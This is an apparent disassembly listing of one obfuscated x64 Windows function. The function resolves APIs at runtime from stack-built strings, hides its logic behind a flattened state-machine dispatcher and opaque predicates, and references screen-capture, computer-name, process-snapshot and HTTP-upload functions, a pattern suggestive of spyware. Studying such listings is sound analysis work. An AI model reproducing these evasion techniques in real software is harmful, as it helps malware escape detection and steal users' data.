Function at 0x14000f600
Capabilities:
Link many functions at runtime

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x298
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x200], xmm10
movaps xmmword [rbp + 0x1f0], xmm9
movaps xmmword [rbp + 0x1e0], xmm8
movaps xmmword [rbp + 0x1d0], xmm7
movaps xmmword [rbp + 0x1c0], xmm6
mov r12, rcx
mov rax, qword [0x1400630a8]
xor rax, rbp
mov qword [rbp + 0x1b8], rax
mov edx, dword [0x140064010]
mov eax, dword [0x140064014]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0xd6e9d1fe
and ebx, 0x29162e01
or ebx, esi
or ecx, edi
and edi, 0xd6e9d1fe
and edx, 0x29162e01
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
and ebx, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xa04d295a
and ecx, 0x5fb2d6a5
or ecx, edx
mov edx, ecx
not edx
and edx, 0x5746fa93
and ecx, 0xa8b9056c
or ecx, edx
mov edx, ecx
xor edx, 0x40400
xor ecx, 0xc2034248
and edx, 0x350c9581
and ecx, 0xcaf36a7e
or ecx, edx
xor ecx, 0xcaf36a7e
sete byte [rbp + 6]
cmp eax, 0xa
setl byte [rbp + 7]
mov eax, 0x5575a43b
xorps xmm6, xmm6
movaps xmm8, xmmword [str.GetDesktopWindowGetSystemMetricsCreateCompatibleCoCreateInstanceGetComputerNameWCreateToolhelp32InternetOpenUrlWInternetReadFileInternetCloseHanInternetConnectWHttpOpenRequestWHttpSendRequestAication_x_www_fotPzmyewIyZEqvdPcs]
movaps xmm9, xmmword [0x140056850]
movaps xmm7, xmmword [0x140056860]
movaps xmm10, xmmword [0x140056870]
movabs rcx, 0x557f0f70505e5053
movabs rdx, 0xaa80f08f505e5053
xor rdx, rcx
mov qword [rbp - 0x78], rdx
movabs rcx, 0x1f4393f696e3435e
movabs rdx, 0xe0bc6c0996e3435e
xor rdx, rcx
mov qword [rbp - 0x70], rdx
movabs rcx, 0xfce3b6b347a0fd19
movabs rdx, 0x31c494cb85f02e6
or rdx, rcx
mov qword [rbp - 0x68], rdx
nop dword [rax + rax]
cmp eax, 0xfd87f07f
jle 0x14000f7e0
cmp eax, 0x4a542d66
jg 0x14000fa40
cmp eax, 0x22cfe179
jle 0x140010004
cmp eax, 0x326d2b8d
jle 0x14001021e
cmp eax, 0x4215001d
jg 0x140010c41
cmp eax, 0x326d2b8e
je 0x1400117bc
cmp eax, 0x3f0276fe
je 0x1400117e5
cmp eax, 0x3f5b6275
jne 0x14000f780
mov eax, 0x8a4b5f1d
cmp eax, 0xfd87f07f
jg 0x14000f787
nop dword [rax]
cmp eax, 0xbc05d739
jle 0x14000fc10
cmp eax, 0xece7f545
jg 0x14000fc67
cmp eax, 0xce9eb663
jle 0x140010269
cmp eax, 0xd7fcd40b
jg 0x140010c77
cmp eax, 0xce9eb664
je 0x140011819
cmp eax, 0xcedc78b4
je 0x14001191a
cmp eax, 0xd03172e2
jne 0x14000f780
mov rax, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x50]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x20], xmm6
movaps xmmword [rdx + 0x10], xmm6
mov word [rdx + 0x30], 0
mov byte [rdx], 0x47
mov rax, qword [rbp + 0x50]
mov byte [rax + 1], 0x65
mov rax, qword [rbp + 0x50]
mov byte [rax + 2], 0x74
mov rax, qword [rbp + 0x50]
mov byte [rax + 3], 0x46
mov rax, qword [rbp + 0x50]
mov byte [rax + 4], 0x69
mov rax, qword [rbp + 0x50]
mov byte [rax + 5], 0x6c
mov rax, qword [rbp + 0x50]
mov byte [rax + 6], 0x65
mov rax, qword [rbp + 0x50]
mov byte [rax + 7], 0x53
mov rax, qword [rbp + 0x50]
mov byte [rax + 8], 0x69
mov rax, qword [rbp + 0x50]
mov byte [rax + 9], 0x7a
mov rax, qword [rbp + 0x50]
mov byte [rax + 0xa], 0x65
mov rcx, qword [0x140063b08]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
add rsp, 0x20
mov rcx, qword [rbp + 0x178]
sub rsp, 0x20
xor edx, edx
call rax
add rsp, 0x20
mov r14, rax
movabs rbx, 0xbc0595639f82d763
mov rax, rbx
movabs rcx, 0x4a17c0f49fa7998c
mov rdx, rcx
sub rax, rcx
mov rcx, r14
add rcx, rbx
movabs rbx, 0x673f3c9368273d
add rax, rbx
sub rcx, rax
movabs rax, 0x312a74d61125ce9
sub rcx, rax
add rcx, rbx
add rax, rcx
add rax, 0xa
movabs rcx, 0xb89c1a75d889d2f1
sub rax, rcx
movabs rbx, 0x983be67b87ca6b6
sub rax, rbx
add rax, rcx
movabs rcx, 0x1ea6fb7196a1df82
sub rax, rcx
sub rax, rdx
add rax, rcx
add rax, rbx
mov rbx, rax
not rbx
mov rdx, rbx
mov rcx, qword [rbp - 0x78]
xor rdx, rcx
not rdx
and rdx, rcx
mov rcx, rax
xor rcx, qword [rbp - 0x70]
and rcx, rax
mov rdi, rdx
and rdi, rcx
xor rcx, rdx
or rcx, rdi
mov rdx, rcx
not rdx
movabs rdi, 0x87ed87aee7a345fb
and rbx, rdi
not rdi
and rax, rdi
or rax, rbx
xor rax, rdi
movabs rsi, 0xc8b84219e5f3d08e
mov rbx, rsi
not rbx
mov rdi, rcx
and rdi, rsi
and rdx, rbx
or rdx, rdi
and rbx, rax
not rax
or rcx, rax
and rax, rsi
or rbx, rax
xor rbx, rdx
not rcx
or rcx, rbx
not rcx
mov rdi, qword [rbp - 0x68]
xor rdi, rcx
not rdi
and rdi, rcx
sub rsp, 0x20
mov rcx, rdi
call fcn.140042974
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov rcx, rax
xor edx, edx
mov r8, rdi
call fcn.14003c6a0
add rsp, 0x20
mov rcx, qword [rbp + 0x178]
sub rsp, 0x30
mov qword [rsp + 0x20], 0
mov rdx, rbx
mov r8d, r14d
xor r9d, r9d
call qword [0x140064018]
add rsp, 0x30
mov eax, 0x1eed009b
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
cmp eax, 0x5b7b050b
jle 0x140010051
cmp eax, 0x732cd808
jle 0x1400104df
cmp eax, 0x7b0ce054
jg 0x140010cac
cmp eax, 0x732cd809
je 0x140011939
cmp eax, 0x75249e4d
je 0x140011958
cmp eax, 0x756ee76f
jne 0x14000f780
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0x110], rax
mov rax, qword [rbp + 0x110]
mov rax, qword [rbp + 0x20]
mov qword [rax], 0
mov rax, qword [rbp + 8]
mov rcx, qword [rax]
mov rax, qword [rcx]
mov rdx, qword [rbp + 0x20]
sub rsp, 0x20
call qword [rax + 0x70]
add rsp, 0x20
mov dword [rbp + 0x118], eax
cmp dword [rbp + 0x118], 0
setns byte [rbp + 0x11f]
mov ecx, dword [0x140064010]
mov eax, dword [0x140064014]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0x81eaf19c
and edx, ebx
not ebx
and ebx, 0x80a29094
and ecx, 0x1486108
or ecx, ebx
mov ebx, ecx
xor ebx, 0x484100
xor ecx, 0xfeb79ef7
mov edi, edx
not edi
mov esi, ecx
and esi, 0xab373c4c
and ebx, 0xc8c190
or ebx, esi
or ecx, edi
and edi, 0xab373c4c
and edx, 0x54c8c3b3
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x7e150e63
and ecx, 0x81eaf19c
or ecx, edx
mov edi, ecx
xor edi, 1
and edi, ecx
mov ebx, ecx
not ebx
and ebx, 0xfffffffe
and ecx, 1
or ecx, ebx
mov edx, edi
not edx
mov ebx, ecx
not ebx
mov esi, edx
and esi, 0x77c21e29
and edi, 0x883de1d6
or edi, esi
or edx, ebx
and ebx, 0x77c21e29
and ecx, 0x883de1d6
or ecx, ebx
xor ecx, edi
not edx
or edx, ecx
mov ecx, edx
not ecx
and edx, 0xf5cce0bf
and ecx, 0xa331f40
or ecx, edx
xor ecx, 0xf5cce0bf
setne r9b
sete r8b
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, edx
xor dl, r8b
or r8b, al
xor r8b, 1
or bl, r9b
xor bl, 1
mov ecx, r8d
and cl, bl
xor bl, r8b
or bl, cl
mov ecx, eax
xor cl, r9b
or al, r9b
xor al, 1
or al, dl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
xor al, bl
and bl, al
mov ecx, eax
xor cl, bl
test al, 1
mov eax, 0xcedc78b4
mov edx, 0xbb570c35
cmovne eax, edx
test bl, bl
cmove eax, edx
test cl, 1
mov ecx, 0xcedc78b4
jmp 0x1400149a6
cmp eax, 0x9e983b85
jle 0x14001009e
cmp eax, 0xaa5e4ee5
jle 0x140010566
cmp eax, 0xb52dbfa7
jg 0x140010cf7
cmp eax, 0xaa5e4ee6
je 0x140011989
cmp eax, 0xab713964
je 0x1400119b6
cmp eax, 0xb2cbc514
jne 0x14000f780
mov eax, 0x697b59b2
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
cmp eax, 0xf8bc78e0
jle 0x1400105ad
cmp eax, 0xfb742d88
jg 0x140010d55
cmp eax, 0xf8e68b7c
je 0x1400149b9
cmp eax, 0xf8bc78e1
jne 0x14000f780
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x150], rax
mov rax, qword [rbp + 0x150]
mov rdx, qword [rbp + 0x30]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x20], xmm6
movaps xmmword [rdx + 0x10], xmm6
mov word [rdx + 0x30], 0
mov byte [rdx], 0x44
mov rax, qword [rbp + 0x30]
mov byte [rax + 1], 0x65
mov rax, qword [rbp + 0x30]
mov byte [rax + 2], 0x6c
mov rax, qword [rbp + 0x30]
mov byte [rax + 3], 0x65
mov rax, qword [rbp + 0x30]
mov byte [rax + 4], 0x74
mov rax, qword [rbp + 0x30]
mov byte [rax + 5], 0x65
mov rax, qword [rbp + 0x30]
mov byte [rax + 6], 0x4f
mov rax, qword [rbp + 0x30]
mov byte [rax + 7], 0x62
mov rax, qword [rbp + 0x30]
mov byte [rax + 8], 0x6a
mov rax, qword [rbp + 0x30]
mov byte [rax + 9], 0x65
mov rax, qword [rbp + 0x30]
mov byte [rax + 0xa], 0x63
mov rax, qword [rbp + 0x30]
mov byte [rax + 0xb], 0x74
mov rcx, qword [0x140063b28]
sub rsp, 0x20
mov rsi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rsi
add rsp, 0x20
mov rcx, qword [rbp + 0xb8]
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [rbp + 0x38]
mov qword [rbp + 0x158], rax
mov rax, qword [rbp + 0x158]
mov rdx, qword [rbp + 0x38]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
mov byte [rdx], 0x44
mov rax, qword [rbp + 0x38]
mov byte [rax + 1], 0x65
mov rax, qword [rbp + 0x38]
mov byte [rax + 2], 0x6c
mov rax, qword [rbp + 0x38]
mov byte [rax + 3], 0x65
mov rax, qword [rbp + 0x38]
mov byte [rax + 4], 0x74
mov rax, qword [rbp + 0x38]
mov byte [rax + 5], 0x65
mov rax, qword [rbp + 0x38]
mov byte [rax + 6], 0x44
mov rax, qword [rbp + 0x38]
mov byte [rax + 7], 0x43
mov rcx, qword [0x140063b28]
sub rsp, 0x20
call rsi
add rsp, 0x20
mov rcx, qword [rbp + 0xa8]
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x160], rax
mov rax, qword [rbp + 0x160]
mov rdx, qword [rbp + 0x40]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
mov byte [rdx], 0x52
mov rax, qword [rbp + 0x40]
mov byte [rax + 1], 0x65
mov rax, qword [rbp + 0x40]
mov byte [rax + 2], 0x6c
mov rax, qword [rbp + 0x40]
mov byte [rax + 3], 0x65
mov rax, qword [rbp + 0x40]
mov byte [rax + 4], 0x61
mov rax, qword [rbp + 0x40]
mov byte [rax + 5], 0x73
mov rax, qword [rbp + 0x40]
mov byte [rax + 6], 0x65
mov rax, qword [rbp + 0x40]
mov byte [rax + 7], 0x44
mov rax, qword [rbp + 0x40]
mov byte [rax + 8], 0x43
mov rcx, qword [0x140063b20]
sub rsp, 0x20
call rsi
add rsp, 0x20
mov rcx, qword [rbp + 0x70]
mov rdx, qword [rbp + 0x80]
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x168], rax
mov rax, qword [rbp + 0x168]
mov rdx, qword [rbp + 0x48]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
mov byte [rdx], 0x43
mov rax, qword [rbp + 0x48]
mov byte [rax + 1], 0x6f
mov rax, qword [rbp + 0x48]
mov byte [rax + 2], 0x55
mov rax, qword [rbp + 0x48]
mov byte [rax + 3], 0x6e
mov rax, qword [rbp + 0x48]
mov byte [rax + 4], 0x69
mov rax, qword [rbp + 0x48]
mov byte [rax + 5], 0x6e
mov rax, qword [rbp + 0x48]
mov byte [rax + 6], 0x69
mov rax, qword [rbp + 0x48]
mov byte [rax + 7], 0x74
mov rax, qword [rbp + 0x48]
mov byte [rax + 8], 0x69
mov rax, qword [rbp + 0x48]
mov byte [rax + 9], 0x61
mov rax, qword [rbp + 0x48]
mov byte [rax + 0xa], 0x6c
mov rax, qword [rbp + 0x48]
mov byte [rax + 0xb], 0x69
mov rax, qword [rbp + 0x48]
mov byte [rax + 0xc], 0x7a
mov rax, qword [rbp + 0x48]
mov byte [rax + 0xd], 0x65
mov rcx, qword [0x140063b30]
sub rsp, 0x20
call rsi
call rax
add rsp, 0x20
cmp dword [rbp + 0x1b0], 0
setns byte [rbp + 0x177]
mov eax, dword [0x140064010]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
not edx
or ecx, 0x77ec6801
mov ebx, ecx
not ebx
or edx, 0x881397fe
mov eax, edx
not eax
and ecx, 0x1d27d58c
and ebx, 0x80100272
or ebx, ecx
and edx, 0x1d27d58c
and eax, 0x62c82801
or eax, edx
xor eax, ebx
mov ecx, eax
not ecx
and ecx, 0x77ec6801
and eax, 0x881397fe
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xfffffffe
and ecx, 0xf6422d02
and eax, 0x9bdd2fd
or eax, ecx
xor eax, 0x9bdd2fc
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xbd1df2b8
and eax, 0x42e20d47
or eax, ecx
mov ecx, eax
xor ecx, 0x940c2090
xor eax, 0x42400442
and eax, 0x6b51d66a
and ecx, 0x94ae2995
or ecx, eax
xor ecx, 0x94ae2995
sete al
setne cl
cmp dword [0x140064014], 9
setg dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, 1
mov ebx, edx
xor bl, al
not bl
and bl, al
or dl, al
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
xor dl, cl
mov ebx, edx
xor bl, 1
and cl, bl
xor bl, cl
test dl, dl
mov eax, 0x9c9504ad
mov edx, 0x86a86ae3
cmovne eax, edx
test cl, cl
mov ecx, 0x9c9504ad
cmove eax, ecx
jmp 0x140011e24
cmp eax, 0x1a3fde19
jg 0x14001085c
cmp eax, 0x945b49c
jle 0x140010d75
cmp eax, 0x945b49d
je 0x1400119cc
cmp eax, 0xd4b2f93
je 0x140011b2b
cmp eax, 0xfdf3894
jne 0x14000f780
cmp byte [rbp + 0x187], 0
mov eax, 0x2676999b
mov ecx, 0xf1c9d92f
jmp 0x140014534
cmp eax, 0x51e8853f
jg 0x1400108bb
cmp eax, 0x4eaf62ac
jle 0x140010dc2
cmp eax, 0x4eaf62ad
je 0x140011c0d
cmp eax, 0x51700f54
je 0x140011e2c
cmp eax, 0x51ba70fa
jne 0x14000f780
cmp byte [rbp + 0x1a2], 0
mov eax, 0x8249f792
mov ecx, 0x4215001e
jmp 0x140014534
cmp eax, 0x93f5cd4f
jg 0x1400109ce
cmp eax, 0x86a86ae2
jle 0x140010e05
cmp eax, 0x86a86ae3
je 0x140011e5d
cmp eax, 0x893f084d
je 0x140011e73
cmp eax, 0x8a4b5f1d
jne 0x14000f780
mov edx, dword [0x140064010]
mov r8d, dword [0x140064014]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x10460dd1
and ecx, 0xefb9f22e
or ecx, edx
mov edx, ecx
not edx
and edx, 0xfd87e5ce
and ecx, 0x2781a31
or ecx, edx
mov edi, ecx
xor edi, 0x22e0260
mov eax, ecx
xor eax, 0xedc1e81f
or edi, 0x18103d9e
mov esi, edi
not esi
mov edx, eax
or edx, 0xe7efc261
mov ebx, edx
not ebx
and edi, 0x94f0d686
and esi, 0x630f0061
or esi, edi
and edx, 0x94f0d686
and ebx, 0x8002918
or ebx, edx
xor ebx, esi
mov edx, ebx
not edx
and edx, 0x8e6ae2ef
and ebx, 0x71951d10
or ebx, edx
xor ebx, 0x967adf70
and eax, 1
xor ecx, 0xedc1e81e
or ecx, eax
not ecx
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xfda5bcab
and ecx, 0x25a4354
or ecx, eax
mov eax, ecx
xor eax, 0x2404210
xor ecx, 0xfc21088b
and ecx, 0xfc3b09cf
and eax, 0x3c4f630
or eax, ecx
xor eax, 0xfc3b09cf
sete cl
setne r10b
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg bl
mov eax, r10d
and al, bl
mov edx, r9d
and dl, cl
or dl, al
xor bl, dl
and bl, dl
or r10b, r9b
xor cl, r9b
and cl, r9b
xor cl, 1
mov eax, r10d
xor al, cl
or cl, r10b
xor cl, 1
or cl, al
mov eax, ebx
xor al, 1
xor bl, cl
xor cl, 1
or cl, al
mov eax, ecx
xor al, bl
test al, 1
mov edx, 0x459043bf
mov eax, 0x3f5b6275
cmovne edx, eax
test bl, 1
mov eax, edx
mov ebx, 0x459043bf
cmovne eax, ebx
test cl, 1
jmp 0x140013933
cmp eax, 0x2676999a
jle 0x140010e2b
cmp eax, 0x2676999b
je 0x14001250f
cmp eax, 0x2d363e74
je 0x1400125ee
cmp eax, 0x305c983c
jne 0x14000f780
cmp byte [rbp + 0x12f], 0
mov eax, 0x1adae583
mov ecx, 0x6c52b327
cmovne eax, ecx
mov ecx, dword [rbp + 0x128]
jmp 0x140010df2
cmp eax, 0xc6181105
jle 0x1400110a4
cmp eax, 0xc6181106
je 0x1400126e7
cmp eax, 0xca5e6e65
je 0x140012705
cmp eax, 0xcc7730ff
jne 0x14000f780
mov ecx, dword [0x140064010]
mov r8d, dword [0x140064014]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
mov ecx, ebx
xor ecx, 0x57ff1280
and ecx, ebx
not ebx
and ebx, 0x43e51080
and edx, 0x141a0200
or edx, ebx
mov ebx, edx
xor ebx, 0x10000200
xor edx, 0xebe5fdff
mov edi, ecx
not edi
mov esi, edx
and esi, 0x2e3b34f1
and ebx, 0x51c40200
or ebx, esi
or edx, edi
and edi, 0x2e3b34f1
and ecx, 0xd1c4cb0e
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x17e9136e
and edx, 0xe816ec91
or edx, ecx
mov edi, edx
xor edi, 0xbfe9fe11
mov ecx, edx
xor ecx, 0x100004
and ecx, 0x90313a14
xor edx, 0x71bca06a
and edx, edi
and edi, 0x6fcec5eb
or edi, ecx
mov ebx, edi
xor ebx, 0x6fcec5eb
mov esi, edi
xor esi, 0x5e64646f
and esi, ebx
mov ecx, esi
not ecx
mov eax, edx
not eax
mov r9d, ecx
and r9d, 0xc759e797
and esi, 0x38a61868
or esi, r9d
or ecx, eax
and eax, 0xc759e797
and edx, 0x38a61868
or edx, eax
xor edx, esi
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x833dc0fe
and ecx, 0x7cc23f01
or ecx, eax
mov edx, ecx
xor edx, 0x40049
xor edi, 0x313804
and edi, 0x2b3179ac
mov eax, ebx
and eax, 0xd4ce8653
or eax, edi
xor eax, 0x2b3179ad
and ebx, 1
or ebx, eax
mov eax, ebx
not eax
and eax, 0x3aa3f610
and ebx, 0xc55c09ef
or ebx, eax
mov eax, ebx
xor eax, 0x44c0849
xor ecx, 0x4d689e84
xor ebx, 0x3aa3f610
mov edi, ecx
and edi, 0xf3b3e7b6
and edx, 0xc4c1849
or edx, edi
or ecx, ebx
and ebx, 0xf3b3e7b6
and eax, 0xc4c1849
or eax, ebx
xor eax, edx
not ecx
or ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0x32d82f46
and edx, ecx
and ecx, 0xcd27d0b9
or ecx, eax
mov eax, ecx
xor eax, 0xc2240a9
xor ecx, 0x32d82f46
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xe1dd9d50
and eax, 0x1e2262af
or eax, edi
or ecx, ebx
and ebx, 0xe1dd9d50
and edx, 0x1e2262af
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, 0x80524e53
and ecx, 0x7fadb1ac
or ecx, edx
xor ecx, 0x80524e53
xor eax, ecx
test eax, ecx
setne r10b
sete bl
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg al
mov ecx, eax
xor cl, r9b
and cl, al
xor cl, bl
mov r8d, ecx
xor r8b, 1
mov edx, eax
xor dl, bl
and dl, al
and r10b, r9b
and al, bl
or al, r10b
mov ebx, edx
xor bl, 1
xor dl, al
xor al, 1
or al, bl
xor al, 1
or al, dl
mov edx, eax
not dl
and dl, cl
or cl, al
and al, r8b
or al, dl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xa8826be1
mov ebx, 0x521f6dbd
cmovne eax, ebx
test cl, 1
mov ecx, 0xa8826be1
cmovne eax, ecx
mov ecx, dword [rbp - 0x1c]
mov dword [rbp + 0x1b4], ecx
test dl, 1
jmp 0x14001438f
cmp eax, 0x697b59b1
jle 0x140011107
cmp eax, 0x697b59b2
je 0x14001287a
cmp eax, 0x6a0ab22e
je 0x14001295c
cmp eax, 0x6c52b327
jne 0x14000f780
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov rax, qword [rbp + 0x28]
mov qword [rax], 0
mov rax, qword [rbp + 0x18]
mov rcx, qword [rax]
mov rax, qword [rcx]
mov rdx, qword [rbp + 0x28]
sub rsp, 0x20
xor r8d, r8d
call qword [rax + 0x50]
add rsp, 0x20
mov dword [rbp - 8], eax
test eax, eax
mov eax, 0xeaade1bc
mov ecx, 0x9e983b86
cmovns eax, ecx
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
cmp eax, 0xa6e5ff1a
jle 0x140011282
cmp eax, 0xa6e5ff1b
je 0x140012a92
cmp eax, 0xa75dd0c5
je 0x140012abe
cmp eax, 0xa8826be1
jne 0x14000f780
mov eax, dword [rbp + 0x1b4]
mov eax, 0x521f6dbd
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
cmp eax, 0xf17949ad
jle 0x1400113f2
cmp eax, 0xf17949ae
je 0x140012c3e
cmp eax, 0xf1c9d92f
je 0x140012e2d
cmp eax, 0xf4a9091b
jne 0x14000f780
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x100], rax
mov rax, qword [rbp + 0x100]
mov rax, qword [rbp + 0x18]
mov qword [rax], 0
mov rax, qword [rbp + 8]
mov rcx, qword [rax]
mov rax, qword [rcx]
mov r9, qword [rbp + 0x18]
sub rsp, 0x20
lea rdx, [0x140056960]
xor r8d, r8d
call qword [rax + 0x40]
add rsp, 0x20
mov dword [rbp + 0x108], eax
cmp dword [rbp + 0x108], 0
setns byte [rbp + 0x10f]
mov ecx, dword [0x140064010]
mov r9d, dword [0x140064014]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0x6e71c6b3
and edx, 0x918e394c
or edx, ecx
mov edi, edx
xor edi, 0x80080144
xor edx, 0x4408481
or ebx, 0x844897f7
mov ecx, ebx
not ecx
or edx, 0x78214800
and edx, 0x7c61dc81
and edi, 0x80080376
or edi, edx
and ebx, 0x7c61dc81
and ecx, 0x3962008
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0x7bb76808
and ecx, 0x844897f7
or ecx, edx
mov r8d, ecx
not r8d
mov edi, ecx
xor edi, 0xf081249
mov esi, edi
and esi, r8d
and edi, ecx
mov ebx, esi
not ebx
mov eax, edi
not eax
mov edx, ebx
and edx, 0xeba112f8
and esi, 0x145eed07
or esi, edx
or ebx, eax
and eax, 0xeba112f8
and edi, 0x145eed07
or edi, eax
xor edi, esi
not ebx
or ebx, edi
mov eax, ebx
not eax
and eax, 0x2d71726a
and ebx, 0xd28e8d95
or ebx, eax
xor ebx, 0xdd869fdd
and r8d, 1
xor ecx, 0xfffffffe
or ecx, r8d
not ecx
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xaf37645e
and edx, ecx
not ecx
and ecx, 0x22164002
and eax, 0x8d21245c
or eax, ecx
xor eax, 0x8d21245c
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and eax, 0xccd732ca
and edx, 0x3328cd35
or edx, eax
mov eax, edx
xor eax, 0x8812204a
xor edx, 0x63e05694
mov ecx, edx
and ecx, 0x568d8ba5
and eax, 0xa972745a
or eax, ecx
xor eax, 0xa972745a
or eax, edx
cmp eax, 0xffffffff
sete r11b
setne r8b
cmp r9d, 0xa
setl r10b
cmp r9d, 9
setg bl
mov edx, ebx
xor dl, r10b
and dl, bl
xor r11b, r8b
and r11b, r8b
mov eax, edx
xor al, 1
mov ecx, edx
and cl, al
mov r9d, ecx
and r9b, dl
xor cl, dl
or cl, r9b
or al, dl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, r11d
xor cl, 1
mov edx, ecx
and dl, r11b
mov r9d, ecx
and r9b, dl
xor dl, cl
or dl, r9b
or cl, r11b
mov r9d, edx
xor r9b, cl
or cl, dl
xor cl, 1
or cl, r9b
mov edx, ecx
xor dl, 1
or dl, al
xor al, 1
xor dl, 1
or al, cl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
xor r10b, r8b
xor r10b, 1
mov ecx, ebx
xor cl, r8b
or bl, r8b
xor bl, 1
or bl, cl
xor bl, 1
mov ecx, r10d
and cl, bl
xor bl, r10b
or bl, cl
mov ecx, ebx
xor cl, 1
and cl, bl
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
xor cl, 1
mov edx, ecx
xor dl, al
xor al, 1
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0x978dac07
mov ebx, 0x1d7674eb
cmovne ecx, ebx
test al, 1
mov eax, 0x978dac07
cmovne eax, ecx
jmp 0x14001127a
cmp eax, 0x1d7674ea
jle 0x14001152c
cmp eax, 0x1d7674eb
je 0x140012f22
cmp eax, 0x1eed009b
je 0x140012f69
cmp eax, 0x21167a2e
jne 0x14000f780
mov rax, qword [rbp + 0x20]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
mov rdx, r12
mov r8d, 0x40000000
call qword [rax + pe_nt_image_headers64]
add rsp, 0x20
mov eax, 0x4eaf62ad
cmp eax, 0xfd87f07f
jle 0x14000f7e0
jmp 0x14000f787
cmp eax, 0x5575a43a
jle 0x140011654
cmp eax, 0x5575a43b
je 0x14001322d
cmp eax, 0x5a543129
je 0x14001334d
cmp eax, 0x5b07ad61
jne 0x14000f780
mov ecx, dword [0x140064010]
mov eax, dword [0x140064014]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov edx, ecx
and edx, 0x10204128
mov ebx, edi
and ebx, 0x43040215
or ebx, edx
xor ebx, 0x43040215
mov edx, edi
xor edx, 0x5324433d
and edx, edi
mov esi, ebx
and esi, edx
xor edx, ebx
or edx, esi
mov ebx, edx
not ebx
and ebx, 0x8139b91
and edx, 0xf7ec646e
or edx, ebx
mov ebx, edx
xor ebx, 0x84800640
xor edx, 0x5b37d8ad
mov esi, edx
and esi, 0x78693136
and ebx, 0x8796cec9
or ebx, esi
and edi, 0x78693136
and ecx, 0x8796cec9
or ecx, edi
xor ecx, ebx
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
xor bl, 1
or bl, al
mov edx, eax
xor dl, cl
not dl
and dl, cl
or al, cl
xor dl, 1
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
mov eax, ebx
xor al, dl
xor dl, 1
or dl, bl
xor al, 1
mov ecx, eax
xor cl, dl
test al, 1
